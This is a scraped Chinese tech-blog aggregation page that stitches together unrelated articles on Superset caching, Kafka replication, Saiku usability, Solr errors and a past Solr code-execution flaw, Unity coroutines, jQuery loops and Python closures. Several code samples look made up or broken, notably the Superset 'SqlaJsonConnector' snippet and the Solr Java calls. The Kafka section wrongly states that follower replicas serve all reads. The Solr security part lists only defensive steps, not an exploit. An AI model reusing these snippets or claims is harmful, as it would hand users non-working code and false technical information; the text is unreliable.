...据更新有点慢,有时候显示的数据就不是最新的了。就像是看新闻,刚刚发生的大事还没来得及报道,你看到的还是昨天的旧闻一样。这可让人着急呢!本文将深入探讨这一问题的原因,并提供解决策略,帮助大家在使用Superset时避免或解决数据更新延迟的问题。 原因分析 1. 数据源设置问题 错误配置了数据源,例如使用了实时性较差的数据源或者没有正确设置刷新频率。 2. 数据加载时间 数据从源到Superset的加载时间过长,特别是在处理大量数据时。 3. 缓存机制 Superset内部或外部缓存机制可能没有及时更新,导致显示的是旧数据。 4. 网络延迟 数据传输过程中遇到的网络问题也可能导致数据更新延迟。 解决方案 1. 检查数据源配置 - 确保数据源设置正确无误,包括连接参数、查询语句、刷新频率等。例如,在SQL数据库中,确保查询语句能够高效获取数据,同时设置合理的查询间隔时间,避免频繁请求导致性能下降。 python from superset.connectors.sqla import SqlaJsonConnector connector = SqlaJsonConnector( sql="SELECT FROM your_table", cache_timeout=60, 设置数据源的缓存超时时间为60秒 metadata=metadata, ) 2. 优化数据加载流程 - 对于大数据集,考虑使用分页查询或者增量更新策略,减少单次加载的数据量。 - 使用更高效的数据库查询优化技巧,比如索引、查询优化、存储优化等。 3. 调整缓存策略 - 在Superset配置文件中调整缓存相关参数,例如cache_timeout和cache_timeout_per_user,确保缓存机制能够及时响应数据更新。 python 在Superset配置文件中添加或修改如下配置项 "CACHE_CONFIG": { "CACHE_TYPE": "filesystem", "CACHE_DIR": "/path/to/cache", "CACHE_DEFAULT_TIMEOUT": 300, "CACHE_THRESHOLD": 1000, "CACHE_KEY_PREFIX": "superset_cache" } 4. 监控网络状况 - 定期检查网络连接状态,确保数据传输稳定。可以使用网络监控工具进行测试,比如ping命令检查与数据源服务器的连通性。 - 考虑使用CDN(内容分发网络)或其他加速服务来缩短数据传输时间。 5. 实施定期数据验证 - 定期验证数据源的有效性和数据更新情况,确保数据实时性。 - 使用自动化脚本或工具定期检查数据更新状态,一旦发现问题立即采取措施。 结论 数据更新延迟是数据分析过程中常见的挑战,但通过细致的配置、优化数据加载流程、合理利用缓存机制、监控网络状况以及定期验证数据源的有效性,我们可以有效地解决这一问题。Superset这个家伙,可真是个厉害的数据大厨,能做出各种各样的图表和分析,简直是五花八门,应有尽有。它就像个宝藏一样,里面藏着无数种玩法,关键就看你能不能灵活变通,找到最适合你手头活儿的那把钥匙。别看它外表冷冰冰的,其实超级接地气,等着你去挖掘它的无限可能呢!哎呀,用上这些小窍门啊,你就能像变魔法一样,让数据处理的速度嗖嗖地快起来,而且准确得跟贴纸一样!这样一来,做决定的时候,你就不用再担心数据老掉牙或者有误差了,全都是新鲜出炉的,准得很!
2024-08-21 16:16:57
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青春印记
Kafka
...大家更容易搞懂这部分内容。 1. 什么是副本同步? 在深入讨论之前,我们先要明白副本同步是什么意思。简单说,副本同步就像是Kafka为了确保消息不会丢,像快递一样在集群里的各个节点间多送几份,这样即使一个地方出了问题,别的地方还能顶上。这样做可以确保即使某个节点发生故障,其他节点仍然可以提供服务。这是Kafka架构设计中非常重要的一部分。 1.1 副本的概念 在Kafka中,一个主题(Topic)可以被划分为多个分区(Partition),而每个分区可以拥有多个副本。副本分为领导者副本(Leader Replica)和追随者副本(Follower Replica)。想象一下,领导者副本就像是个大忙人,既要处理所有的读写请求,还得不停地给其他小伙伴分配任务。而那些追随者副本呢,就像是一群勤勤恳恳的小弟,只能等着老大分活儿给他们,然后照着做,保持和老大的一致。 2. 数据复制策略 接下来,让我们来看看Kafka是如何实现这些副本之间的数据同步的。Kafka的数据复制策略主要依赖于一种叫做“拉取”(Pull-based)的机制。这就意味着那些小弟们得主动去找老大,打听最新的消息。 2.1 拉取机制的优势 采用拉取机制有几个好处: - 灵活性:追随者可以根据自身情况灵活调整同步频率。 - 容错性:如果追随者副本暂时不可用,不会影响到领导者副本和其他追随者副本的工作。 - 负载均衡:领导者副本不需要承担过多的压力,因为所有的读取操作都是由追随者完成的。 2.2 实现示例 让我们来看一下如何在Kafka中配置和实现这种数据复制策略。首先,我们需要定义一个主题,并指定其副本的数量: python from kafka.admin import KafkaAdminClient, NewTopic admin_client = KafkaAdminClient(bootstrap_servers='localhost:9092') topic_list = [NewTopic(name="example_topic", num_partitions=3, replication_factor=3)] admin_client.create_topics(new_topics=topic_list) 这段代码创建了一个名为example_topic的主题,它有三个分区,并且每个分区都有三个副本。 3. 副本同步的实际应用 现在我们已经了解了副本同步的基本原理,那么它在实际应用中是如何工作的呢? 3.1 故障恢复 当一个领导者副本出现故障时,Kafka会自动选举出一个新的领导者。这时候,新上任的大佬会继续搞定读写请求,而之前的小弟们就得重新变回小弟,开始跟新大佬取经,同步最新的消息。 3.2 负载均衡 在集群中,不同的分区可能会有不同的领导者副本。这就相当于把消息的收发任务分给了不同的小伙伴,这样大家就不会挤在一个地方排队了,活儿就干得更顺溜了。 3.3 实际案例分析 假设有一个电商网站使用Kafka来处理订单数据。要是其中一个分区的大佬挂了,系统就会自动转而听命于另一个健健康康的大佬。虽然在这个过程中可能会出现一会儿数据卡顿的情况,但总的来说,这并不会拖慢整个系统的进度。 4. 总结与展望 通过上面的讨论,我们可以看到副本同步和数据复制策略对于提高Kafka系统的稳定性和可靠性有多么重要。当然,这只是Kafka众多功能中的一个小部分,但它确实是一个非常关键的部分。以后啊,随着技术不断进步,咱们可能会见到更多新颖的数据复制方法,这样就能让Kafka跑得更快更稳了。 最后,我想说的是,学习技术就像是探险一样,充满了挑战但也同样充满乐趣。希望大家能够享受这个过程,不断探索和进步! --- 以上就是我对Kafka副本同步数据复制策略的一些理解和分享。希望对你有所帮助!如果有任何问题或想法,欢迎随时交流讨论。
2024-10-19 16:26:57
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诗和远方
Saiku
...反馈中窥探 用户反馈显示,Saiku配置文件编辑器的界面设计相对传统,对于非技术背景的用户来说,理解其工作原理和操作逻辑较为困难。主要体现在以下几个方面: - 术语晦涩:专业术语如“维度”、“度量”等在初次接触时难以理解。 - 布局混乱:界面元素分布缺乏逻辑性,导致用户在寻找特定功能时费时费力。 - 信息密度高:大量的配置选项集中在一个页面上,容易造成视觉疲劳,降低操作效率。 二、案例分析 以“时间序列分析”为例 假设我们正在为一家零售公司构建一个销售趋势分析仪表板,需要配置时间序列数据进行展示。在Saiku配置文件编辑器中,用户可能首先会面临以下挑战: 1. 选择维度与度量 - 用户可能不清楚如何在众多维度(如产品类别、地区、时间)和度量(如销售额、数量)中做出最佳选择来反映他们的分析需求。 - 缺乏直观的提示或预览功能,使得用户难以预见到不同选择的最终效果。 2. 配置时间序列 - 在配置时间序列时,用户可能会遇到如何正确设置时间粒度(如日、周、月)以及如何处理缺失数据的问题。 - 缺乏可视化的指导,使得用户在调整时间序列设置时感到迷茫。 三、改进建议 增强直观性和用户友好性 针对上述挑战,我们可以从以下几个方面着手改进Saiku配置文件编辑器: 1. 简化术语 引入更易于理解的语言替换专业术语,例如将“维度”改为“视角”,“度量”改为“指标”。 2. 优化布局与导航 采用更加清晰的分层结构,将相关功能模块放置在一起,减少跳转次数。同时,增加搜索功能,让用户能够快速定位到需要的配置项。 3. 提供可视化预览 在用户进行配置时,实时展示配置结果的预览图,帮助用户直观地理解设置的效果。 4. 引入动态示例 在配置页面中嵌入动态示例,通过实际数据展示不同的配置效果,让用户在操作过程中学习和适应。 5. 增加教程与资源 开发一系列针对不同技能水平用户的教程视频、指南和在线问答社区,帮助用户更快掌握Saiku的使用技巧。 四、结语 从实践到反馈的闭环 改进Saiku配置文件编辑器的直观性是一个持续的过程,需要结合用户反馈不断迭代优化。哎呀,听我说啊,要是咱们按照这些建议去操作,嘿,那可是能大大提升大家用咱们Saiku的体验感!这样一来,不光能让更多的人知道并爱上Saiku,还能让数据分析这块儿的整体发展更上一层楼呢!你懂我的意思吧?就像是给整个行业都添了把火,让数据这事儿变得更热乎,更受欢迎!哎呀,兄弟!在咱们这项目推进的过程中,得保持跟用户之间的交流超级通畅,听听他们在使用咱们产品时遇到的具体难题,还有他们的一些建议。这样咱们才能对症下药,确保咱们改进的措施不是空洞的理论,而是真正能解决实际问题,让大家都满意的好办法。毕竟,用户的反馈可是我们优化产品的大金矿呢! --- 通过这次深入探讨,我们不仅认识到Saiku配置文件编辑器在直观性上的挑战,也找到了相应的解决路径。哎呀,希望Saiku在将来能给咱们的数据分析师们打造一个既温馨又高效的工具平台,就像家里那台超级好用的咖啡机,让人一上手就爱不释手。这样一来,大家就能专心挖出数据背后隐藏的金矿,而不是老是跟那些烦人的技术小难题过不去,对吧?
2024-10-12 16:22:48
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春暖花开
Apache Solr
...r配置错误分析及解决方法 1.1 全文索引导入失败 根据知识库中的资料,我们发现一位开发者在2021年5月28日遇到了“solr配置错误”的问题。具体表现为:Full Import failed:java.lang.RuntimeException:java.lang.RuntimeException:org.apache.solr.handler.dataimport.DataImportHandlerException:One of driver or jndiName must be specified。 对于这个问题,我们可以从以下几个方面进行排查: - 首先,检查solr的配置文件,确认数据源驱动类是否正确配置; - 其次,检查数据库连接参数是否正确设置; - 最后,查看日志文件,查看是否有其他异常信息。 在实践中,我们可以尝试如下代码实现: java // 创建DataImporter对象 DataImporter importer = new DataImporter(); // 设置数据库连接参数 importer.setDataSource(new JdbcDataSource()); importer.setSql("SELECT FROM table_name"); // 执行数据导入 importer.fullImport("/path/to/solr/home"); 如果以上步骤无法解决问题,建议查阅相关文档或寻求专业人士的帮助。 1.2 集群配置错误 另一位开发者在2020年7月25日反馈了一个关于Solr集群配置的错误问题。其问题描述为:“淘淘商城第60讲——搭建Solr集群时,报错:org.apache.solr.common.SolrException: Could not find collection : core1”。读了这位开发者的文章,我们发现他在搭建Solr集群的时候,实实在在地碰到了上面提到的那些问题。 对于这个问题,我们可以从以下几个方面进行排查: - 首先,检查solr的配置文件,确认核心集合是否正确配置; - 其次,检查集群状态,确认所有节点是否都已经正常启动; - 最后,查看日志文件,查看是否有其他异常信息。 在实践中,我们可以尝试如下代码实现: java // 启动集群 CoreContainer cc = CoreContainer.create(CoreContainer.DEFAULT_CONFIG); cc.load(new File("/path/to/solr/home/solr.xml")); cc.start(); // 查询集群状态 Collections cores = cc.getCores(); for (SolrCore core : cores) { System.out.println(core.getName() + " status : " + core.getStatus()); } 如果以上步骤无法解决问题,建议查阅相关文档或寻求专业人士的帮助。 三、Solr代码执行漏洞排查及解决方法 近年来,随着Apache Solr的广泛应用,安全问题日益突出。嘿,你知道吗?在2019年11月19日曝出的一条消息,Apache Solr这个家伙在默认设置下有个不小的安全隐患。如果它以cloud模式启动,并且对外开放的话,那么远程的黑客就有机会利用这个漏洞,在目标系统上随心所欲地执行任何代码呢!就像是拿到了系统的遥控器一样,想想都有点让人捏把汗呐! 对于这个问题,我们可以从以下几个方面进行排查: - 首先,检查solr的安全配置,确保只允许受信任的IP地址访问; - 其次,关闭不必要的服务端功能,如远程管理、JMX等; - 最后,定期更新solr到最新版本,以获取最新的安全补丁。 在实践中,我们可以尝试如下代码实现: java // 关闭JMX服务 String configPath = "/path/to/solr/home/solr.xml"; File configFile = new File(configPath); DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document doc = db.parse(configFile); Element root = doc.getDocumentElement(); if (!root.getElementsByTagName("jmx").isEmpty()) { Node jmxNode = root.getElementsByTagName("jmx").item(0); jmxNode.getParentNode().removeChild(jmxNode); } TransformerFactory tf = TransformerFactory.newInstance(); Transformer transformer = tf.newTransformer(); transformer.setOutputProperty(OutputKeys.INDENT, "yes"); transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2"); DOMSource source = new DOMSource(doc); StreamResult result = new StreamResult(new File(configPath)); transformer.transform(source, result); 如果以上步骤无法解决问题,建议查阅相关文档或寻求专业人士的帮助。 四、总结 总的来说,Apache Solr虽然强大,但在使用过程中也会遇到各种各样的问题。了解并搞定这些常见问题后,咱们就能把Solr的潜能发挥得更淋漓尽致,这样一来,工作效率蹭蹭上涨,用户体验也噌噌提升,妥妥的双赢局面!希望本文能对你有所帮助!
2023-05-31 15:50:32
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山涧溪流-t
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本篇文章为转载内容。原文链接:https://blog.csdn.net/NRatel/article/details/102870744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 一、官方手册中的描述 1、Manual/Coroutines 函数在调用时, “从调用到返回” 都发生在一帧之内,想要处理 “随时间推移进行的事务”, 相比Update,使用协程来执行此类任务会更方便。 协程在创建时,通常是一个 “返回值类型 为 IEnumerator”、“函数体中包含 yield return 语句 ” 的函数。 yiled return 可以暂停协程的执行,并在恰当时候恢复。具体在何时恢复,由 yield 的返回值决定。 启动协程,必须使用 MonoBehaviour 的 StartCoroutine 方法。 停止协程,可以使用 MonoBehaviour 的 StopCoroutine 方法 或 StopAllCoroutine 方法。 注意:以下情况也可能使协程停止: 1)、销毁启动协程的组件(GameObject.Destory(component);) ==> 协程停止 2)、禁用启动协程的组件(component.enabled = false;)==> 协程不停止 3)、销毁启动协程的组件所在的物体(GameObject.Destory(gameobject);) ==> 协程停止 4)、隐藏启动协程的组件所在的物体(gameobject.SetActive(false);) ==> 协程停止 2、MonoBehaviour.StartCoroutine StartCoroutine 方法总是立刻返回一个 Coroutine 对象(同步返回)。 无法保证协同程序按其启动顺序结束,即使他们在同一帧中完成也是如此(异步无序完成)。 可以在一个协程中启动另一个协程(支持协程嵌套)。 二、Unity中的 yield 语句类型 1、yield break; //打断协程运行 2、yield return null; //挂起协程,并从下一帧继续 3、yield return + “任意数字”; //挂起协程,并从下一帧继续 4、yield return + “bool值”; //挂起协程,并从下一帧继续 5、yield return + “任意字符串”; //挂起协程,并从下一帧继续 6、yield return + “普通Object”; //挂起协程,并从下一帧继续 7、yield return + “任意实现了 IEnumerator 接口的对象”。重要!(可嵌套) Unity 中,常见的、直接或间接实现了 IEnumerator 接口的类有: ------------------------------------------------------------------------------------------------ CustomYieldInstruction (abstarct) ——|> IEnumerator (interface) ------------------------------------------------------------------------------------------------ WaitUnitil (sealed) ——|> CustomYieldInstruction WaitWhile (sealed) ——|> CustomYieldInstruction WaitForSecondsRealtime (非sealed,但未发现子类) ——|> CustomYieldInstruction WWW (非sealed,但未发现子类) ——|> CustomYieldInstruction ------------------------------------------------------------------------------------------------ 随着Unity更新或在一些可选的Package中,可能有更多。。。 ------------------------------------------------------------------------------------------------ 8、yield return + “任意继承了 YieldInstruction 类 ([UsedByNativeCode],源码C层中无具体实现) 的对象”。重要!(可嵌套) Unity 中,常见的、直接或间接继承了 YieldInstruction 类的类有: ------------------------------------------------------------------------------------------------ WaitForSeconds (sealed) ——|> YieldInstruction Coroutine (sealed) ——|> YieldInstruction (Coroutine 是 StartCoroutine方法的返回值,意味着协程中可嵌套协程) WaitForEndOfFrame (sealed) ——|> YieldInstruction WaitForFixedUpdate (sealed) ——|> YieldInstruction AsyncOperation ——|> YieldInstruction ------------------------------------------------------------------------------------------------ AssetBundleCreateRequest (非sealed,但未发现子类) ——|> AsyncOperation AssetBundleRecompressOperation (非sealed,但未发现子类) ——|> AsyncOperation AssetBundleRequest (非sealed,但未发现子类) ——|> AsyncOperation ResourceRequest (非sealed,但未发现子类) ——|> AsyncOperation UnityEngine.Networking.UnityWebRequestAsyncOperation (非sealed,但未发现子类) ——|> AsyncOperation UnityEngine.iOS.OnDemandResourcesRequest (sealed) ——|> AsyncOperation ------------------------------------------------------------------------------------------------ 随着Unity更新或在一些可选的Package中,可能有更多。。。 ------------------------------------------------------------------------------------------------ 测试验证 第2、3、4、5、6条 如下: using System.Collections;using UnityEngine;public class Test : MonoBehaviour{void Start(){StartCoroutine(Func1());}IEnumerator Func1(){Debug.Log("Time.frameCount: " + Time.frameCount);yield return null;Debug.Log("Time.frameCount: " + Time.frameCount);yield return 0;Debug.Log("Time.frameCount: " + Time.frameCount);yield return 1;Debug.Log("Time.frameCount: " + Time.frameCount);yield return 99; //其他整数Debug.Log("Time.frameCount: " + Time.frameCount);yield return 0.5f; //浮点数值Debug.Log("Time.frameCount: " + Time.frameCount);yield return false; //bool值Debug.Log("Time.frameCount: " + Time.frameCount);yield return "Hi NRatel!"; //字符串Debug.Log("Time.frameCount: " + Time.frameCount);yield return new Object(); //任意对象Debug.Log("Time.frameCount: " + Time.frameCount);} } 测试验证 第7条 如下: using System.Collections;using UnityEngine;public class Test : MonoBehaviour{void Start(){StartCoroutine(Func1());}IEnumerator Func1(){Debug.Log("Func1");yield return Func2();}IEnumerator Func2(){Debug.Log("Func2");yield return Func3();}IEnumerator Func3(){Debug.Log("Func3");yield return null;} } 三、Unity协程实现原理 1、C 的迭代器。 现在已经知道:协程肯定与IEnumerator有关,因为启动协程时需要一个 IEnumerator 对象。 而 IEnumerator 是C实现的 迭代器模式 中的 枚举器(用于迭代的游标)。 迭代器相关接口定义如下: namespace System.Collections{//可枚举(可迭代)对象接口public interface IEnumerable{IEnumerator GetEnumerator();}//迭代游标接口public interface IEnumerator{object Current { get; }bool MoveNext();void Reset();} } 参考 MSDN C文档中对于 IEnumerator、IEnumerable、迭代器 的描述。 利用 IEnumerator 对象,可以对与之关联的 IEnumerable 集合 进行迭代: 1)、通过 IEnumerator 的 Current 方法,可以获取集合中位于枚举数当前位置的元素。 2)、通过 IEnumerator 的 MoveNext 方法,可以将枚举数推进到集合的下一个元素。如果 MoveNext 越过集合的末尾, 则枚举器将定位在集合中最后一个元素之后, 同时 MoveNext 返回 false。 当枚举器位于此位置时, 对 MoveNext 的后续调用也将返回 false 。如果最后一次调用 MoveNext 时返回 false,则 Current 未定义(结果为null)。 3)、通过 IEnumerator 的 Reset 方法,可以将“迭代游标” 设置为其初始位置,该位置位于集合中第一个元素之前。 2、C 的 yield 关键字。 C编译器在生成IL代码时,会将一个返回值类型为 IEnumerator 的方法(其中包含一系列的 yield return 语句),构建为一个实现了 IEnumerator 接口的对象。 注意,yield 是C的关键字,而非Unity定义!IEnumerator 对象 也可以直接用于迭代,并非只能被Unity的 StartCoroutine 使用! using System.Collections;using UnityEngine;public class Test : MonoBehaviour{void Start(){IEnumerator e = Func();while (e.MoveNext()){Debug.Log(e.Current);} }IEnumerator Func(){yield return 1;yield return "Hi NRatel!";yield return 3;} } 对上边C代码生成的Dll进行反编译,查看IL代码: 3、Unity 的协程。 Unity 协程是在逐帧迭代的,这点可以从 Unity 脚本生命周期 中看出。 可以大胆猜测一下,实现出自己的协程(功能相似,能够说明逐帧迭代的原理,不是Unity源码): using System;using System.Collections;using System.Collections.Generic;using UnityEngine;public class Test : MonoBehaviour{private Dictionary<IEnumerator, IEnumerator> recoverDict; //key:当前迭代器 value:子迭代器完成后需要恢复的父迭代器private IEnumerator enumerator;private void Start(){//Unity自身的协程//StartCoroutine(Func1());//自己实现的协程StarMyCoroutine(Func1());}private void StarMyCoroutine(IEnumerator e){recoverDict = new Dictionary<IEnumerator, IEnumerator>();enumerator = e;recoverDict.Add(enumerator, null); //完成后不需要恢复任何迭代器}private void LateUpdate(){if (enumerator != null){DoEnumerate(enumerator);} }private void DoEnumerate(IEnumerator e){object current;if (e.MoveNext()){current = e.Current;}else{//迭代结束IEnumerator recoverE = recoverDict[e];if (recoverE != null){recoverDict.Remove(e);}//恢复至父迭代器, 若没有则会至为nullenumerator = recoverE;return;}//null,什么也不做,下一帧继续if (current == null) { return; }Type type = current.GetType();//基础类型,什么也不做,下一帧继续if (current is System.Int32) { return; }if (current is System.Boolean) { return; }if (current is System.String) { return; }//IEnumerator 类型, 等待内部嵌套的IEnumerator迭代完成再继续if (current is IEnumerator){//切换至子迭代器enumerator = current as IEnumerator;recoverDict.Add(enumerator, e);return;}//YieldInstruction 类型, 猜测也是类似IEnumerator的实现if (current is YieldInstruction){//省略实现return;} }IEnumerator Func1(){Debug.Log("Time.frameCount: " + Time.frameCount);yield return null;Debug.Log("Time.frameCount: " + Time.frameCount);yield return "Hi NRatel!";Debug.Log("Time.frameCount: " + Time.frameCount);yield return 3;Debug.Log("Time.frameCount: " + Time.frameCount);yield return new WaitUntil(() =>{return Time.frameCount == 20;});Debug.Log("Time.frameCount: " + Time.frameCount);yield return Func2();Debug.Log("Time.frameCount: " + Time.frameCount);}IEnumerator Func2(){Debug.Log("XXXXXXXXX");yield return null;Debug.Log("YYYYYYYYY");yield return Func3(); //嵌套 IEnumerator}IEnumerator Func3(){Debug.Log("AAAAAAAA");yield return null;Debug.Log("BBBBBBBB");yield return null;} } 对比结果,基本可以达成协程作用,包括 IEnumerator 嵌套。 但是 Time.frameCount 的结果不同,想来实现细节必然是有差别的。 四、部分Unity源码分析 1、CustomYieldInstruction 类 可以继承该类,并实现自己的、需要异步等待的类。 原理: 当协程中 yield return “一个CustomYieldInstruction的子类”; 其实就相当于在原来的 迭代器A 中,插入了一个 新的迭代器B。 当迭代程序进入 B ,如果 keepWaiting 为 true,MoveNext() 就总是返回 true。 上面已经说过,迭代器在迭代时,MoveNext() 返回false 才标志着迭代完成! 那么,B 就总是完不成,直到 keepWaiting 变为 false。 这样 A 运行至 B处就 处于了 等待B完成的状态,相当于A挂起了。 猜测 YieldInstruction 也是类似的实现。 // Unity C reference source// Copyright (c) Unity Technologies. For terms of use, see// https://unity3d.com/legal/licenses/Unity_Reference_Only_Licenseusing System.Collections;namespace UnityEngine{public abstract class CustomYieldInstruction : IEnumerator{public abstract bool keepWaiting{get;}public object Current{get{return null;} }public bool MoveNext() { return keepWaiting; } public void Reset() {} }} 2、WaitUntil 类 语义为 “等待...直到满足...” 继承自 CustomYieldInstruction,需要等待时让 m_Predicate 返回 false (keepWating为true)。 // Unity C reference source// Copyright (c) Unity Technologies. For terms of use, see// https://unity3d.com/legal/licenses/Unity_Reference_Only_Licenseusing System;namespace UnityEngine{public sealed class WaitUntil : CustomYieldInstruction{Func<bool> m_Predicate;public override bool keepWaiting { get { return !m_Predicate(); } }public WaitUntil(Func<bool> predicate) { m_Predicate = predicate; } }} 3、WaitWhile 类 语义为 “等待...如果满足...” 继承自 CustomYieldInstruction,需要等待时让 m_Predicate 返回 true (keepWating为true)。 与 WaitUntil 的实现恰好相反。 // Unity C reference source// Copyright (c) Unity Technologies. For terms of use, see// https://unity3d.com/legal/licenses/Unity_Reference_Only_Licenseusing System;namespace UnityEngine{public sealed class WaitWhile : CustomYieldInstruction{Func<bool> m_Predicate;public override bool keepWaiting { get { return m_Predicate(); } }public WaitWhile(Func<bool> predicate) { m_Predicate = predicate; } }} 本篇文章为转载内容。原文链接:https://blog.csdn.net/NRatel/article/details/102870744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-24 16:50:42
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JQuery
...、遇到的问题以及解决方法都写下来,希望能帮到和我一样困惑的朋友。 首先,咱们得搞清楚一个问题:为什么要用jQuery来操作数组?其实吧,jQuery是一个超级强大的工具库,它能让我们的代码更简洁、更优雅。尤其是当你需要频繁地操作DOM元素时,jQuery简直就是救星。而数组循环赋值这种基础操作,在实际开发中几乎每天都会用到。所以,咱们今天就一起来聊聊这个话题! --- 2. 数组的基本概念与jQuery的关系 在正式进入正题之前,咱们先简单回顾一下数组的概念。数组是一种数据结构,用来存储一系列相同类型的值。比如: javascript var fruits = ["苹果", "香蕉", "橙子"]; 在这个例子中,fruits就是一个数组,里面装着三个字符串。那jQuery是什么呢?jQuery是一个轻量级的JavaScript库,它的核心功能就是简化HTML文档遍历、事件处理、动画效果等操作。其实 jQuery 压根儿不是专门搞数组的,但它里面藏着不少好用的小工具,就像随身带了个万能 Swiss Army Knife(瑞士军刀),想干啥都方便,处理数组什么的基本不在话下! 举个例子,如果你有一堆HTML列表项( 标签),你可以用jQuery快速找到它们并对其进行操作。比如给每个列表项添加点击事件,或者修改它们的内容。这不就是数组循环赋值的典型应用场景吗? --- 3. 如何用jQuery循环赋值? 3.1 使用each()方法 先来说说最常用的each()方法吧。each()是jQuery提供的一个非常实用的函数,它可以用来遍历集合中的每一个元素,并执行回调函数。对于数组来说,each()的表现也非常棒! 假设我们有一个数组numbers,里面存放了一些数字。我们想通过jQuery将这些数字显示在一个无序列表( )中。代码可以这样写: html 这里的关键在于$.each()函数的第一个参数是我们要遍历的数组,第二个参数是一个回调函数,其中index表示当前元素的索引,value则是该元素的值。通过这种方式,我们可以轻松地将数组中的每一项添加到页面上。 不过呢,有时候你会发现直接用each()并不能完全满足需求。比如说,你得看看数组里满足不满足某个条件,要是满足了,那就接着往下走;要是不满足,可能就得另想办法,或者干脆就别执行后面那堆事了。这时候就需要稍微动点脑筋了。 --- 3.2 使用for循环结合jQuery 当然啦,如果你觉得each()太过于“黑箱”,不喜欢隐藏内部细节的话,也可以选择传统的for循环。其实呢,jQuery就是JavaScript的一个小帮手啦,说白了,它再厉害,最后还是得靠原生JavaScript去干活儿。 html 这段代码跟前面的例子类似,只不过我们手动控制了循环变量i,并且直接通过colors[i]访问数组中的元素。这样做的好处就是,你可以更随心所欲地摆弄数组里的数据,比如说直接跳过那些你不想管的项目,特别方便! --- 3.3 高级玩法:链式调用 如果你是个追求极致简洁的人,那么jQuery的链式调用绝对会让你爱不释手。简单来说,链式调用就是让你在一整行代码里接连调用好几个方法,这样就能少写好多重复的东西,看着清爽,用起来也方便! 比如,如果你想一次性创建整个无序列表,可以用下面这种方式: html 这段代码看起来是不是特别酷?我们先创建了一个新的 元素,然后利用map()方法生成所有的 标签,最后再将它们拼接成完整的HTML字符串,再插入到指定的容器中。这种写法不仅高效,还非常优雅! --- 4. 小结与感悟 好了,到这里咱们已经讨论了很多关于jQuery数组循环赋值的内容。说实话,最开始接触这些玩意儿的时候,我也是头都大了,心里直犯嘀咕:这是啥呀?这也太复杂了吧?感觉整个人都不好了,差点怀疑自己是不是选错了路子。其实吧,我后来才明白,这东西也没那么难。你只要把最基本的那些道理搞清楚了,再有点儿耐心,多试着练练,慢慢就啥问题都没啦! 在这里,我想分享一个小技巧:多看官方文档!jQuery的官方文档写得非常好,里面不仅有详细的API说明,还有很多生动的例子。每次遇到问题的时候,我都习惯先去看看文档,很多时候都能找到答案。 最后,希望大家都能从这篇文章中学到一些有用的东西。记住,编程不是一蹴而就的事情,它需要不断的尝试和总结。如果你还有其他关于jQuery的问题,欢迎随时交流哦!加油!💪 --- 好了,这就是我关于“jQuery数组怎样循环赋值”的全部内容啦。希望你能喜欢这篇文章,并且从中受益匪浅!如果觉得有用的话,不妨点赞支持一下吧~😊
2025-05-08 16:16:22
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蝶舞花间
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...取360度旋转特征值实现准确的识别。 ClearType 效果 , ClearType 是一种微软开发的字体平滑技术,旨在提高液晶显示器上文本的显示质量。它通过次像素渲染技术改善了屏幕上的文本边缘,使其看起来更清晰、更易于阅读。文中指出,竹子在生成验证码时遇到了未对 Graphics 填充底色的问题,导致原本应具有的 ClearType 效果消失,使得验证码中的文字边缘出现毛边,视觉效果受到影响。 验证码(CAPTCHA) , 验证码全称“Completely Automated Public Turing test to tell Computers and Humans Apart”,是一种区分计算机程序与人类用户的安全测试手段。在本文情境下,竹子改进了一种旋转式验证码生成方法,该方法利用随机字符串、图像处理技术和类神经网络进行文字辨识,从而增强验证码的安全性,防止自动化脚本进行恶意攻击或滥用网站服务。
2023-05-27 09:38:56
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本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_29385297/article/details/128085103。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 闭包 定义双层嵌套函数,内层函数可以访问外层函数的变量 将内层函数作为外层函数的返回,此层函数就是闭包函数 在函数嵌套的前提下,内部函数使用了外部函数的变量,并且外部函数返回了内部函数,我们把这个使用外部函数变量的内部函数称为闭包 def outer(logo):def inner(msg):print(f"{logo}:{msg}")return innerfun = outer("java")fun("hello world") 闭包修改外部函数的值 需要用 nonlocal 声明这个外部变量 def outer(num1):def inner(num2):nonlocal num1num1 += num2print(num1)return innerfun = outer(10)fun(10) 输出20 优点: 无需定义全局变量即可实现通过函数,持续的访问、修改某个值 闭包使用的变量的所用于在函数内,难以被错误的调用修改 缺点: 由于内部函数持续引用外部函数的值,所以会导致这一部分内存空间不被释放,一直占用内存 装饰器 装饰器其实也是一种闭包,其功能就是在不破坏目标函数原有的代码和功能的前提下,为目标函数增加新功能 def outer(func):def inner():print("我要睡觉了")func()print("我起床了")return inner@outerdef sleep():print("睡眠中")sleep() 单例模式 单例def strTool():passsignle = strTool()==from 单例 import signlet1 = signlet2 = signleprint(id(t1))print(id(t2)) 工厂模式 将对象的创建由使用原生类本身创建转换到由特定的工厂方法来创建 好处: 大批量创建对象的时候有统一的入口,易于代码维护 当发生修改,仅修改工厂类的创建方法即可 class Person:passclass Worker(Person):passclass Student(Person):passclass Teacher(Person):passclass PersonFactory:def get_person(self,p_type):if p_type == 'w':return Worker()elif p_type == 's':return Student()else:return Teacher()pf = PersonFactory()worker = pf.get_person('w')student = pf.get_person('s')teacher = pf.get_person('t') 多线程 threading模块使用 import threadingimport timedef sing(msg):print(msg)time.sleep(1)def dance(msg):print(msg)time.sleep(1)if __name__ == '__main__':sing_thread = threading.Thread(target=sing,args=("唱歌。。。",))dance_thread = threading.Thread(target=dance,kwargs={"msg":"跳舞。。。"})sing_thread.start()dance_thread.start() Socket Socket(套接字)是进程间通信工具 服务端 创建Socket对象import socketsocket_server = socket.socket() 绑定IP地址和端口socket_server.bind(("localhost", 8888)) 